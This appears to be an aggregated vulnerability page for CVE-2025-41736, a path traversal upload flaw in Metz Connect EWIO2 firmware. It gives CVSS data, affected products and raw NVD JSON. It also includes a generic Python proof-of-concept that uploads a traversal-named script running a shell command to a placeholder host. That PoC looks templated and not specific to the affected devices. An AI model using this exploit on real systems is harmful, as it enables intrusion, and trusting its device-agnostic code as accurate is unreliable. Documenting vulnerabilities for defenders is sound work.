Security Vulnerability Report
中文
CVE-2025-41736 CVSS 8.8 HIGH

CVE-2025-41736

Published: 2025-11-18 11:15:47
Last Modified: 2025-11-21 19:15:08

Description

A low privileged remote attacker can upload a new or overwrite an existing python script by using a path traversal of the target filename in php resulting in a remote code execution.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:metz-connect:ewio2-m_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:metz-connect:ewio2-m:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:metz-connect:ewio2-m-bm_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:metz-connect:ewio2-m-bm:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:metz-connect:ewio2-bm_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:metz-connect:ewio2-bm:-:*:*:*:*:*:*:* - NOT VULNERABLE
PHP应用文件上传组件 - 未修复版本
具体版本信息需参考certvde.com发布的VDE-2025-097公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib.parse # CVE-2025-41736 Path Traversal File Upload PoC # Target: PHP application with vulnerable file upload # Effect: Remote Code Execution via overwriting Python scripts TARGET_URL = "http://target.com/upload" def exploit_path_traversal(): """ Exploit path traversal in filename parameter to upload malicious file """ # Malicious Python script to be uploaded malicious_script = b'#!/usr/bin/env python3\nimport os\nos.system("id")\n' # Path traversal payload - overwrite existing Python script # Using ../ to escape upload directory and write to arbitrary location filename = "../../../var/www/html/uploads/malicious.py" files = { 'file': (filename, malicious_script, 'text/x-python') } data = { 'submit': 'Upload' } try: response = requests.post(TARGET_URL, files=files, data=data, timeout=10) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # If upload successful, trigger RCE if response.status_code == 200: exec_url = "http://target.com/uploads/malicious.py" print(f"Upload successful. Access at: {exec_url}") requests.get(exec_url) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": print("CVE-2025-41736 Exploit - Path Traversal File Upload") exploit_path_traversal()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41736", "sourceIdentifier": "[email protected]", "published": "2025-11-18T11:15:47.400", "lastModified": "2025-11-21T19:15:07.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A low privileged remote attacker can upload a new or overwrite an existing python script by using a path traversal of the target filename in php resulting in a remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-35"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-m_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "7013D45A-B3DD-4110-A0FF-D0C01B859A37"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-m:-:*:*:*:*:*:*:*", "matchCriteriaId": "892DDE15-8FE1-4D57-BCB6-5DFAC1F6826C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-m-bm_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "05FE24BB-6605-444F-ACFF-D2FD2B70C05E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-m-bm:-:*:*:*:*:*:*:*", "matchCriteriaId": "8A515C34-A698-47EF-B542-EAA491AE6CBA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-bm_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "DD9B7323-4C67-4DAC-905F-DDE5D6BD9D80"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-bm:-:*:*:*:*:*:*:*", "matchCriteriaId": "C7E4CCBC-35EE-4683-A039-55ABEE27E809"}]}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-097", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}